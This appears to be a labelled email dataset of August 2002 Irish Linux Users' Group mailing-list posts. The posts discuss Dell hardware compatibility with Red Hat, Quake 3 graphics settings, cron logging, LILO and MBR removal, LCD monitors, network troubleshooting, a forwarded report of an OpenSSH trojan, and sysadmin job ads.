07:4c:7c:90:0d:28:41:3a:95:c2:81:3d:ba:c4:3d:03 /home/alfred/.ssh/id_dsa (DSA) > > > This problem is definitely related to alfred as a user - it happens when he > logs in on differing workstations (all NFS mounting the same home > directories) and the other users (including good old alfio) don't have any > problems. > > > Niall > > -- > Irish Linux Users' Group: ilug@linux.ie > http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. > List maintainer: listmaster@linux.ie -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Hunt, Bryan"" ","""'Stephen_Reilly@dell.com'"" ,","Fri, 2 Aug 2002 09:28:57 +0100",RE: [ILUG] Dell GX260 V Redhat 7.3,"I'm not knocking dell in general, my next machine is going to be a dell. But buying a random dell box is likely to result in much tearing out of hair. --B -----Original Message----- From: Stephen_Reilly@dell.com [mailto:Stephen_Reilly@dell.com] Sent: 02 August 2002 09:20 To: ilug@linux.ie Subject: RE: [ILUG] Dell GX260 V Redhat 7.3 >> I swear to god you have to be so carefull with dell machines >> and linux. ... >> to have some cheapo piece of hardware (eth card, modem, >> sound, graphics ) >> that is incompatable/unsupported. ... >> with some crap >> dell machine that yes, yes, all terribly insightful and extremely useful information. > We just got some new Dell GX260 machines here are work and > I'm supposed to > be putting Linux on them. I tried installing RedHat 7.3. It > just didn't want > to know about the graphics card. I's an onboard Intel DVMT chip. No > dedicated memory, it takes it from the onboard RAM. The onboard DVMT card has an Intel 845 G/GL chipset. http://www.intel.com/support/graphics/linux/ or http://www.intel.com/support/graphics/intel845g/linux.htm has more specific information. There is help available there. I also found somewhere (not through personal experience though) that 2.4.19-pre10ac2 includes drivers for the chipset ? Steve -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Padraig Brady ,ilug@linux.ie,"Fri, 02 Aug 2002 09:40:52 +0100",Re: [ILUG] stupid pics of the day,"John P. Looney wrote: > On Thu, Aug 01, 2002 at 04:03:07PM +0100, Padraig Brady mentioned: > >>Some local Irish wildlife >> >>http://www.iol.ie/~padraiga/pics/wild1.jpg >>http://www.iol.ie/~padraiga/pics/wild2.jpg >> >>was I bored or what? > > Most likely. > > Hey...is that one of my nice wai-yip stuffed ones ? Ah, I new I had one extra. Ransom is a pint. Pdraig. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """John P. Looney"" ",ilug@linux.ie,"Fri, 2 Aug 2002 09:41:57 +0100",Re: [ILUG] Dell GX260 V Redhat 7.3,"On Fri, Aug 02, 2002 at 09:28:57AM +0100, Hunt, Bryan mentioned: > I'm not knocking dell in general, my next machine is going to be a dell. > But buying a random dell box is likely to result in much tearing out of > hair. Buying any new machine is going to cause problems with a six month old set of drivers. Same happens in windows - you have to go get your drivers. Yes, dell use the most recent stuff they can, to save money. That's not a bad thing. Just a bad thing for those that hope a distro will work out of the box. Kate -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Gregory McRandal (ext 722)"" ","""Irish Linux User's Group (E-mail)"" ","Fri, 2 Aug 2002 09:41:52 +0100",[ILUG] Quake 3,"Hi, I've installed Quake 3 onto my computer and it starts to run up ok but as soon as the graphics start it bails out. It complains that there is an error in sis_drv.o, the line before this says that it is starting Quake in 24 bit depth, now from http://www.winischhofer.net/linuxsis630.shtml I understand that the sis630 won't do 24 bit depth. So is there a way to make Quake start up in 16 bit depth? I've done some ""google""ing but drawn a blank..... Thanks Greg ************************************************************************** The information contained in this e-mail is confidential, may be privileged and is intended only for the use of the recipient named above. If you are not the intended recipient or a representative of the intended recipient, you have received this e-mail in error and must not copy, use or disclose the contents of this email to anybody else. If you have received this e-mail in error, please notify the sender immediately by return e-mail and permanently delete the copy you received. This email has been swept for computer viruses. However, you should carry out your own virus checks. Registered in Ireland, No. 205721. http://www.FINEOS.com ************************************************************************** -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """John P. Looney"" ",Padraig Brady ,"Fri, 2 Aug 2002 09:55:15 +0100",Re: [ILUG] stupid pics of the day,"On Fri, Aug 02, 2002 at 09:40:52AM +0100, Padraig Brady mentioned: > > Most likely. > > Hey...is that one of my nice wai-yip stuffed ones ? > Ah, I new I had one extra. > Ransom is a pint. Well, as you seem to be mating them up in Longford, keep it till it has chicks, and send me two :) Kate -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Conor Daly ,ILUG main list ,"Fri, 2 Aug 2002 09:55:02 +0000",[ILUG] Fwd: OpenSSH trojan?,"Saw this on the secure shell mailing list... Conor ----- Forwarded message from quentyn@fotango.com ----- Date: Thu, 01 Aug 2002 12:26:53 +0100 From: quentyn@fotango.com To: ""secureshell@securityfocus.com"" Subject: OpenSSH trojan? Posts doing the rounds ( probably loads of these posts sitting awaiting moderation) looks like there is a trojan in the latest OpenSSH http://www.mavetju.org/weblog/weblog.php http://docs.freebsd.org/cgi/getmsg.cgi?fetch=394609+0+current/freebsd-security ----- End forwarded message ----- -- Conor Daly Met Eireann, Glasnevin Hill, Dublin 9, Ireland Ph +353 1 8064276 Fax +353 1 8064247 ------------------------------------ bofh.irmet.ie running RedHat Linux 9:54am up 22:32, 9 users, load average: 0.67, 0.36, 0.29 ********************************************************************** This email and any files transmitted with it are confidential and intended solely for the use of the individual or entity to whom they are addressed. If you have received this email in error please notify the system manager. This footnote also confirms that this email message has been swept for the presence of computer viruses. ********************************************************************** -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Stephen_Reilly@dell.com,ilug@linux.ie,"Fri, 2 Aug 2002 04:02:38 -0500",RE: [ILUG] Dell GX260 V Redhat 7.3,"> bad thing. Just a bad thing for those that hope a distro will > work out of > the box. It's still quite easy to find out, pre-purchase, what components if any are going to give you problems with a specific distribution/version. With Dell just check the support.dell.com site, match the system, look for downloadable drivers. From these if there aren't any linux drivers you can usually find out the chipset of each device. Plug them into google with ""linux"" and see what people have to say about them. Generally speaking when you buy the system you'll be told the make/model of each device rather than the chipset, so further investigation is necessary. The cavaet, of course, is always to know exactly what you're buying. In most people's cases unfortunately it's not the person who bought the systems that will be configuring them. steve -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 kevin lyda ,ILUG main list ,"Fri, 2 Aug 2002 10:04:56 +0100",Re: [ILUG] Fwd: OpenSSH trojan?,"On Fri, Aug 02, 2002 at 09:55:02AM +0000, Conor Daly wrote: > looks like there is a trojan in the latest OpenSSH and the amazing bit is that it was caught in 6 hours thanks to the freebsd ports system (it automatically checks md5sums). kevin -- kevin@suberic.net that a believer is happier than a skeptic is no more to fork()'ed on 37058400 the point than the fact that a drunken man is happier meatspace place: home than a sober one. the happiness of credulity is a http://ie.suberic.net/~kevin cheap & dangerous quality -- g.b. shaw -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Hunt, Bryan"" ","""'ilug@linux.ie'"" ","Fri, 2 Aug 2002 10:07:17 +0100",RE: [ILUG] Dell GX260 V Redhat 7.3,"When I get a box I don't want any of that integrated chipset crap whether its for winblows or linux. Its just like IBM (mwave dsp chip ?) (shared video/main memory ?)in the old days. I know you can flip a mboard jumper switch to turn crap off and install your own cards but why bother ? To clarify my point is this .... Dell makes excellent machines and I would recomend their machines and their aftersales support over any other manufacturer that I can think of. However if you want that box for linux and you have a life and you dont want to spend a week of it fucking arround and googling to get that box working properly be damned sure you do your research before you buy it. And this especially applies to their budget machines. And this isn't taking a swing at you John but ... >>Just a bad thing for those that hope a distro will work out of >>the box. A lot of the time the reason that you encounter this is cause someone has such a box and they say to you ""hey can you install that linux code that I got from the guy in the internet cafe"" :-) and you say sure and you go to their house (without a net connection/56k modem). And the machine has got this crap windoze only hardware and eventually you shrug in frustration and they say ""well I didn't expect much from something thats free anyhow"" When Dell were squabbling with Windows and it looked as though there might be a Dell/Redhat alliance my Inspiron 4000 was produced ... it worked a treat, now that dell doesn't give a shit about linux all their new cheap boxes are linux incompatable in small ways. --B -----Original Message----- From: John P. Looney [mailto:valen@tuatha.org] Sent: 02 August 2002 09:42 To: ilug@linux.ie Subject: Re: [ILUG] Dell GX260 V Redhat 7.3 On Fri, Aug 02, 2002 at 09:28:57AM +0100, Hunt, Bryan mentioned: > I'm not knocking dell in general, my next machine is going to be a dell. > But buying a random dell box is likely to result in much tearing out of > hair. Buying any new machine is going to cause problems with a six month old set of drivers. Same happens in windows - you have to go get your drivers. Yes, dell use the most recent stuff they can, to save money. That's not a bad thing. Just a bad thing for those that hope a distro will work out of the box. Kate -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Stephen_Reilly@dell.com,ilug@linux.ie,"Fri, 2 Aug 2002 04:32:51 -0500",RE: [ILUG] Dell GX260 V Redhat 7.3,"> When I get a box I don't want any of that integrated chipset crap > whether its for winblows or linux. Its just like IBM (mwave Then buy a Dimension. The alternative is there. > However if you want that box for linux and you have a life > and you dont > want to spend a week of it fucking arround and googling to > get that box > working properly be damned sure you do your research before > you buy it. Absolutely, to buy a machine and hope later that linux will take to it is beyond naive. There is a lot of support, mailing lists, web sites, etc that will help people decide if Linux is going to like a box or not, use them. > (without a net connection/56k modem). And the machine has got > this crap > windoze > only hardware and eventually you shrug in frustration and they say Or its a television set with one of those wireless keyboards :) > When Dell were squabbling with Windows and it looked as I must have misssed that bit ? I don't recall any ""squabble"" with Microsoft when Dell decided to expand their product range to include RH. > a Dell/Redhat alliance my Inspiron 4000 was produced ... it There *IS* a Dell/Redhat alliance. It lead to a shocking amount of Dell systems being easily configurable with RHL. > now that dell doesn't give a shit about linux all their new > cheap boxes are > linux > incompatable in small ways. You make it sound that incompatibility has been deliberately built into the new systems. The products that any company sell with linux installed will be easily reinstalled with linux. The products sold with Windows only may not be. Having said that I've never found a Dell system it was impossible to put RH on. I have had one or two headaches in the past doing it, though. steve -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Stephen Shirley ,"""Irish Linux User's Group (E-mail)"" ","Fri, 2 Aug 2002 10:39:12 +0100",Re: [ILUG] Quake 3,"On Fri, Aug 02, 2002 at 09:41:52AM +0100, Gregory McRandal (ext 722) wrote: > I've installed Quake 3 onto my computer and it starts to run up ok but as > soon as the graphics start it bails out. It complains that there is an > error in sis_drv.o, the line before this says that it is starting Quake in > 24 bit depth, now from http://www.winischhofer.net/linuxsis630.shtml I > understand that the sis630 won't do 24 bit depth. So is there a way to make > Quake start up in 16 bit depth? I've done some ""google""ing but drawn a > blank..... Hmm. Check to see what colour-depth your X session is running in. Try changing DefaultDepth to 16 (in /etc/X11/XF86Cnfig-4), and restarting X. Letting us know what distro you're using would help too. Steve -- ""Oh look, it's the Pigeon of Love."" -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Philip Reynolds ,ilug@linux.ie,"Fri, 2 Aug 2002 12:03:35 +0100",Re: [ILUG] Checking that cronjobs actually ran?,"Wynne, Conor's [conor_wynne@maxtor.com] 16 lines of wisdom included: > Hi ladies, > > I setup a cron job to do a full backup to tape drive there last night, but > I'm just wondering how I can verify that it actually ran? > I suppose that a mail will be sent to root as I ran crontab -e as root. Is > that correct or should I be looking elsewhere? > > Thanks to everyone who replies in advance. Where does cron log to? (check /etc/syslog.conf) Usually it's something like /var/log/cron.log or /var/log/cron Anyways have a look in the logs, make sure your backup ran (so long as there weren't any errors). Typically if there's any output from the commands you've run, they're mailed to you. -- Philip Reynolds RFC Networks tel: 01 8832063 www.rfc-networks.ie fax: 01 8832041 -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Wynne, Conor"" ","""'ilug@linux.ie'"" ","Fri, 2 Aug 2002 11:52:06 +0100",[ILUG] Checking that cronjobs actually ran?,"Hi ladies, I setup a cron job to do a full backup to tape drive there last night, but I'm just wondering how I can verify that it actually ran? I suppose that a mail will be sent to root as I ran crontab -e as root. Is that correct or should I be looking elsewhere? Thanks to everyone who replies in advance. Best Regards CW -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Vincent Cunniffe ,ilug ,"Fri, 02 Aug 2002 12:05:52 +0100",Re: [ILUG] Checking that cronjobs actually ran?,"Wynne, Conor wrote: > Hi ladies, > > I setup a cron job to do a full backup to tape drive there last night, but > I'm just wondering how I can verify that it actually ran? > I suppose that a mail will be sent to root as I ran crontab -e as root. Is > that correct or should I be looking elsewhere? /var/log/cron Logs user, name of job run, and pid it ran as. Regards, Vin -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 SoloCDM ,Ciaran Mac Lochlainn ,"Fri, 02 Aug 2002 03:30:39 -0600",[ILUG] Re: removing lilo,"Ciaran Mac Lochlainn stated the following: > > SoloCDM wrote: > > > Liam Bedford stated the following: > > > > >> fdisk /mbr will restore a dos MBR.. it'll leave the partitions > >> alone. > > >> linux fdisk and deleting all partitions will actually leave LILO in > >> the MBR though. > > > While I am in Linux, the following message is the output when I > > execute fdisk /mbr, even though the drive is in read and write mode: > > > Unable to open /mbr > > > The mbr is on a separate drive -- not related to the Linux drive. > > fdisk /mbr is a DOS command - if you are in Linux you will be running > Linux fdisk, which doesn't have the /mbr option. The Linux equivalent > of ""fdisk /mbr"" is ""lilo -u /dev/hda"" (unless John Reilly was making > that up yesterday - I haven't tried it!) Thanks! In the past I tried ""lilo -u /dev/hda"" and it wouldn't work -- an original copy of the MBR must be in /boot directory for it to work. Which is exactly what I didn't have. The installation of Linux Mandrake didn't afford me that luxury. Also, I'm glad you cleared up the fdisk issue. I know better now -- previously I was under the impression that fdisk had a hidden switch. This is obviously not the case. -- Note: When you reply to this message, please include the mailing list and/or newsgroup address and my email address in To: ********************************************************************* Signed, SoloCDM -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 SoloCDM ,"""Hunt, Bryan"" ","Fri, 02 Aug 2002 03:33:05 -0600",[ILUG] Re: removing lilo,"""Hunt, Bryan"" stated the following: > > choose the repair option when installing windows nt/2000/whatever What is the ""repair option""? > -----Original Message----- From: SoloCDM [mailto:deedsmis@aculink.net] > Sent: 31 July 2002 17:48 To: Hunt, Bryan Cc: ILUG (Request) > Subject: Re: removing lilo > > ""Hunt, Bryan"" stated the following: > > > you need to do a ""fdisk /mbr"" from a bootable windoze floppy > > alternatively boot from linux boot disk and do fdisk, delete all > > partitions. > > I need to ask a question concerning this issue. > > What if I don't want to get rid of the MBR -- it will destroy the > OS on that drive. How do I remove lilo without the above fdisk > procedure? > > > -----Original Message----- From: jac1 > > [mailto:jac1@student.cs.ucc.ie] > > > i recently had to wipe linux from my pc but forgot to restore the > > original MBR (NT). Anyone know how i can do this? linux is entirely > > gone and no > > boot > > > floppy. formatting the entire disk doesn't do it either. -- Note: When you reply to this message, please include the mailing list and/or newsgroup address and my email address in To: ********************************************************************* Signed, SoloCDM -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Colm Buckley ,"deedsmis@aculink.net, ilug@linux.ie","Fri, 2 Aug 2002 12:25:27 +0100",Re: [ILUG] Re: removing lilo,"> == SoloCDM >> == Bryan Hunt >> choose the repair option when installing windows nt/2000/whatever > What is the ""repair option""? When you boot from the WNT/W2k/whatever install CD, it offers you the choice of installing a new system, or repairing an existing installation. Colm -- Colm Buckley | colm@tuatha.org | +353 87 2469146 | www.colm.buckley.name Why be difficult when, with a bit of effort, you could be impossible? -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Hunt, Bryan"" ","""'deedsmis@aculink.net'"" ,","Fri, 2 Aug 2002 12:51:03 +0100",[ILUG] RE: removing lilo,"on NT 4 you should get it at the point where you choose which partition to format/install onto .... It's been a while though so I might be wrong. Ted says I might have dreamed it just like that spider baby/Linux thing :-) --Dougal -----Original Message----- From: SoloCDM [mailto:deedsmis@aculink.net] Sent: 02 August 2002 10:33 To: Hunt, Bryan Cc: ILUG (Request) Subject: Re: removing lilo ""Hunt, Bryan"" stated the following: > > choose the repair option when installing windows nt/2000/whatever What is the ""repair option""? > -----Original Message----- From: SoloCDM [mailto:deedsmis@aculink.net] > Sent: 31 July 2002 17:48 To: Hunt, Bryan Cc: ILUG (Request) > Subject: Re: removing lilo > > ""Hunt, Bryan"" stated the following: > > > you need to do a ""fdisk /mbr"" from a bootable windoze floppy > > alternatively boot from linux boot disk and do fdisk, delete all > > partitions. > > I need to ask a question concerning this issue. > > What if I don't want to get rid of the MBR -- it will destroy the > OS on that drive. How do I remove lilo without the above fdisk > procedure? > > > -----Original Message----- From: jac1 > > [mailto:jac1@student.cs.ucc.ie] > > > i recently had to wipe linux from my pc but forgot to restore the > > original MBR (NT). Anyone know how i can do this? linux is entirely > > gone and no > > boot > > > floppy. formatting the entire disk doesn't do it either. -- Note: When you reply to this message, please include the mailing list and/or newsgroup address and my email address in To: ********************************************************************* Signed, SoloCDM -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Colm Buckley ,"""Irish Linux Users' Group"" ","Fri, 2 Aug 2002 13:41:30 +0100",[ILUG] Sysadmin / IT person wanted,"Hi, folks - Wearing my other hat today - we're looking for a competent and experienced system administrator here, and I'd like anyone who's interested to contact me. The job is for a Windows (NT and 2000) and Linux (Debinan) system and network administrator, with a good, deep knowledge of both environments. The successful candidate will have a broad range of responsibilities in maintaining and developing our IT and production infrastructure, including WAN/secure networking to remote offices, email systems management, backups, etc., so experience in managing larger networks is required. Some development and implementation research experience would also be highly desireable. In addition, the position will involve internal IT support for a primarily Windows network with approximately fifty users in several locations. The precise remuneration package will depend on the skillset of the successful applicant, but will include as standard a performance-based bonus scheme, health insurance, stock options and participation in a company-backed pension plan. Please contact me directly if you wish to apply. We now return you to your regularly-scheduled hrishy. Colm -- Colm Buckley - Systems Architect at NewWorldIQ w : http://www.newworldiq.com/ e : colm@newworldiq.com t : +353 1 4334334 f : +353 1 4334301 m : +353 87 2469146 Quantum mechanics: the dreams stuff is made of. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 jac1 ,ilug@linux.ie,"Fri, 2 Aug 2002 14:25:43 +0100",RE: [ILUG] Re: removing lilo,">===== Original Message From deedsmis@aculink.net, ilug@linux.ie ===== >""Hunt, Bryan"" stated the following: >> >> choose the repair option when installing windows nt/2000/whatever > >What is the ""repair option""? > If u choose Setup NT from the installation CD it will reboot your system and give the option of repairing an existing installation when it reboots. I did this the other night, with the check MBR option, but it didn't overwrite the MBR like it should (apparently). Either my disk is completely shagged or i'm missing something. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Colm Buckley ,"""Irish Linux Users' Group"" ","Fri, 2 Aug 2002 13:49:08 +0100",Re: [ILUG] Sysadmin / IT person wanted,"On Fri 02 Aug 2002 13:41, Colm Buckley wrote: > The job is for a Windows (NT and 2000) and Linux (Debinan) [...] Pah. ""Debian"". Colm -- Colm Buckley | colm@tuatha.org | +353 87 2469146 | www.colm.buckley.name You're slower than a herd of turtles stampeding through peanut butter. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Albert White - SUN Ireland ,Irish Linux Users Group ,"Fri, 02 Aug 2002 16:19:32 +0100",Re: [ILUG] inputting chinese characters in Redhat 7.3,"Hi, fergal@esatclear.ie said: > 7.3 seems to support Chinese input out of the box, it's got > miniChinput and some other stuff no documentation. I cannot get much > sense from the Chinese-HOWTO (it seems the HOWTOs no longer come with > Redhat which sucks somewhat, are they hidden on 1 of the disks or > something?) and google is a bit of a dead end too. > Can anyone tell me what I should do? Thanks, How about xcin? http://xcin.linux.org.tw/ This is an example of an XIM approach that Brian mentioned. hint shift-space get you back to typing in english. The speed you can type at will be very dependent on how well you know the input method and in some cases how well you know how to construct chinese characters. I have seen people using electronic pen and tablet devices to just write the characters in, though that was windows. ~Al -- Expressed in this posting are my opinions. They are in no way related to opinions held by my employer, Sun Microsystems. Statements on Sun products included here are not gospel and may be fiction rather than truth. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Niall O Broin ,ILUG ,"Fri, 2 Aug 2002 20:40:10 +0100",Re: [ILUG] LCD monitors and linux,"On Fri, Aug 02, 2002 at 05:21:22PM +0100, Conor Daly wrote: > My 17"" CRT monitor having drowned in a flood (10cm squared of burned > circuit board URGH!) , I'm thinking of a 15"" LCD as a replacement. > What with me going to the continent and all next week, I might wait and > buy one there (for a reasonable price (Dave Neary! Any good sources?)). Conor - it's a rather large continent - people might need to know where you are going to suggest sources. And if you're buying abroad, make sure you get to test it - many places won't have facilities for you to do that. > Question is: CAn I just plug in _any_ lcd monitor and expect it to work? > Are there special incantations needed for XFree86 to work. Needless to > say, it'll be a bit difficult to bring it back to the shop once I'm home > in Dublin and find it doesn't work! Any monitor should just work - they all have VGA connectors and any half decent brand will be know about by XFree setup programs in modern distributions. However, if you have the budget (insurance paying for the dead monitor, perhaps ? - and WHERE was your monitor that it got caught in a flood ?) getting a monitor with a DVI input is best. Of course, you'll need a DVI out video card then, too. DVI provides a much better picture than VGA because it removes the analog stage - basically DVI gives you a direct connection from video ram pixels to monitor pixels - the best pictures I've ever seen on a computer is on my notebook screen at 1400x1050 (which doesn't use DVI, but an internal connection which has the same effect). Brand wise, I like Iiyama a lot and I think they may have a Europe wide warranty. Niall -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Rick Moen ,ilug@linux.ie,"Fri, 2 Aug 2002 12:18:58 -0700",Re: [ILUG] Dell GX260 V Redhat 7.3,"Quoting Stephen_Reilly@dell.com (Stephen_Reilly@dell.com): > You make it sound that incompatibility has been deliberately built > into the new systems. The products that any company sell with linux > installed will be easily reinstalled with linux. The products sold > with Windows only may not be. Having said that I've never found a Dell > system it was impossible to put RH on. I have had one or two headaches > in the past doing it, though. I just wanted to second what Stephen says, from an independent perspective: The few times I've encountered an obstacle installing current Linux distributions on Dell boxes, it's been because Dell were an early adopter of (e.g.) a new Adaptec SCSI chipset, which hadn't been included in all installation kernels. And that is the risk you _always_ take when you blindly buy hardware systems for Linux without verifying chipset support, first. If anything, Dell have over the years occasioned less such trouble than have many competitors, in this area. -- Cheers, If C gives you enough rope to hang yourself, then C++ give you enough Rick Moen to bind and gag your neighbourhood, rig the sails on a small ship, rick@linuxmafia.com and still have enough to hang yourself from the yardarm. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 kevin lyda ,Colm Buckley ,"Fri, 2 Aug 2002 21:37:58 +0100",Re: [ILUG] Sysadmin / IT person wanted,"On Fri, Aug 02, 2002 at 01:41:30PM +0100, Colm Buckley wrote: > Wearing my other hat today - we're looking for a competent and > experienced system administrator here, and I'd like anyone who's > interested to contact me. hey, so are we! > The job is for a Windows (NT and 2000) and Linux (Debinan) system [admin] but we use a real distribution (redhat), so if you were ok up to the debian part, drop me a line. it does involve windows, it will involve it a lot. the linux stuff will be minor, though as times go on that might change. the main part is corporate windows desktop support. please mail me if you're interested? thanks! kevin -- kevin@suberic.net that a believer is happier than a skeptic is no more to fork()'ed on 37058400 the point than the fact that a drunken man is happier meatspace place: home than a sober one. the happiness of credulity is a http://ie.suberic.net/~kevin cheap & dangerous quality -- g.b. shaw -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Robert Synnott ,"""Gregory McRandal (ext 722)"" ,","Sat, 3 Aug 2002 09:21:17 +0100",Re: [ILUG] Quake 3,"On Friday 02 August 2002 09:41, Gregory McRandal (ext 722) wrote: > Hi, > > I've installed Quake 3 onto my computer and it starts to run up ok but as > soon as the graphics start it bails out. It complains that there is an > error in sis_drv.o, the line before this says that it is starting Quake in > 24 bit depth, now from http://www.winischhofer.net/linuxsis630.shtml I > understand that the sis630 won't do 24 bit depth. So is there a way to > make Quake start up in 16 bit depth? I've done some ""google""ing but drawn > a blank..... > > Thanks > > Greg If your card has its own MesaGL drivers it may want you to remove the one in the Quake directory (certainly NVidia cards do this). Have a look at the docs for your card's Linux drivers. Bob -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Brian Foster ,Irish Linux Users Group ,"Sat, 03 Aug 2002 15:10:03 +0100",Re: [ILUG] Re: Csh shell scripts,"| Date: Thu, 1 Aug 2002 17:35:51 +0100 | From: Lars Hecking | | > quickie for shell scripters: | > How do I find out the time a file was created at? | | There is no canonical test, and the information is not necessarily | available. [ ... ] This information is also shown by ls -lc, but | parsing ls' output requires a bit of effort. I'd rather recommend | [ writing ] a short C program to access the file status directly, | and output the ctime directly (seconds since the epoch, i.e. perfect | | for numerical comparison). some systems have a stat(1) tool --- don't think it's GNU -- which, when given the `-t' option, does exactly what Lars is suggesting: $ stat -t /etc/motd /etc/motd 21 8 81a4 0 0 303 79 1 0 0 1028070983 830730492 1013296719 minor problem is the `-t' format is not actually explained in the man page, but its fairly easy to work out (or you can just look at the source). also, since the filename is printed as the first ""field"", bizarre filenames (e.g., ones which contain spaces or newlines) can confuse a simple script. cheers! -blf- | (Another way is to use GNU find -printf with a custom format [ ... ] -- Innovative, very experienced, Unix and | Brian Foster Dublin, Ireland Chorus (embedded RTOS) kernel internals | e-mail: blf@utvinternet.ie expert looking for a new position ... | mobile: (+353 or 0)86 854 9268 For a résumé, contact me, or see my website http://www.blf.utvinternet.ie Stop E$$o (ExxonMobile): «Whatever you do, don't buy Esso --- they don't give a damn about global warming.» http://www.stopesso.com Supported by Greenpeace, Friends of the Earth, and numerous others... -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Eamonn Shinners ,ILUG ,03 Aug 2002 15:02:32 +0100,[ILUG] Network problems,"Hi guys, I'm looking for help on this one. I have a server with SME5.5 installed - used to be e-smith. It's based on RH7.1, has a 3c507 NIC, and is connected to a hub. Also connected to the hub are a laptop and workstation, both with RH7.3 . The server supplies DHCP amongst other things. The problem is interruptions in the network. If I ping the laptop from the workstation, or the other way around, there are no problems, i.e. shows up as 0% loss. If however I ping the server from the laptop or workstation, it will do a few packets, anywhere from 3 to 20, and then stop responding, it will start again after a little while. The server is definitely not overloaded, 128Mb, and seems to be configured correctly. In /etc/modules.conf,; options 3c507 irq=0x5 io=0x300 alias eth0 3c507 there is an option in there for something called hisax, but whatever that is, the machine doesn't have one. doing route shows 192.168.0.0 as going through eth0 which is correct. Any help on this appreciated. Eamonn -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Vincent Cunniffe ,ilug ,"Sat, 03 Aug 2002 15:15:24 +0100",Re: [ILUG] Network problems,"Eamonn Shinners wrote: > Hi guys, > there is an option in there for something called hisax, but whatever > that is, the machine doesn't have one. Hisax is one of the ISDN modules : doesn't apply at all in this case and won't affect your system. Can't really help with the rest, soz. Regards, Vin -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Conor Daly ,ILUG ,"Sat, 3 Aug 2002 17:30:36 +0100",Re: [ILUG] LCD monitors and linux,"On Fri, Aug 02, 2002 at 08:40:10PM +0100 or so it is rumoured hereabouts, Niall O Broin thought: > On Fri, Aug 02, 2002 at 05:21:22PM +0100, Conor Daly wrote: > > > My 17"" CRT monitor having drowned in a flood (10cm squared of burned > > circuit board URGH!) , I'm thinking of a 15"" LCD as a replacement. > > What with me going to the continent and all next week, I might wait and > > buy one there (for a reasonable price (Dave Neary! Any good sources?)). > > Conor - it's a rather large continent - people might need to know where you > are going to suggest sources. And if you're buying abroad, make sure you get > to test it - 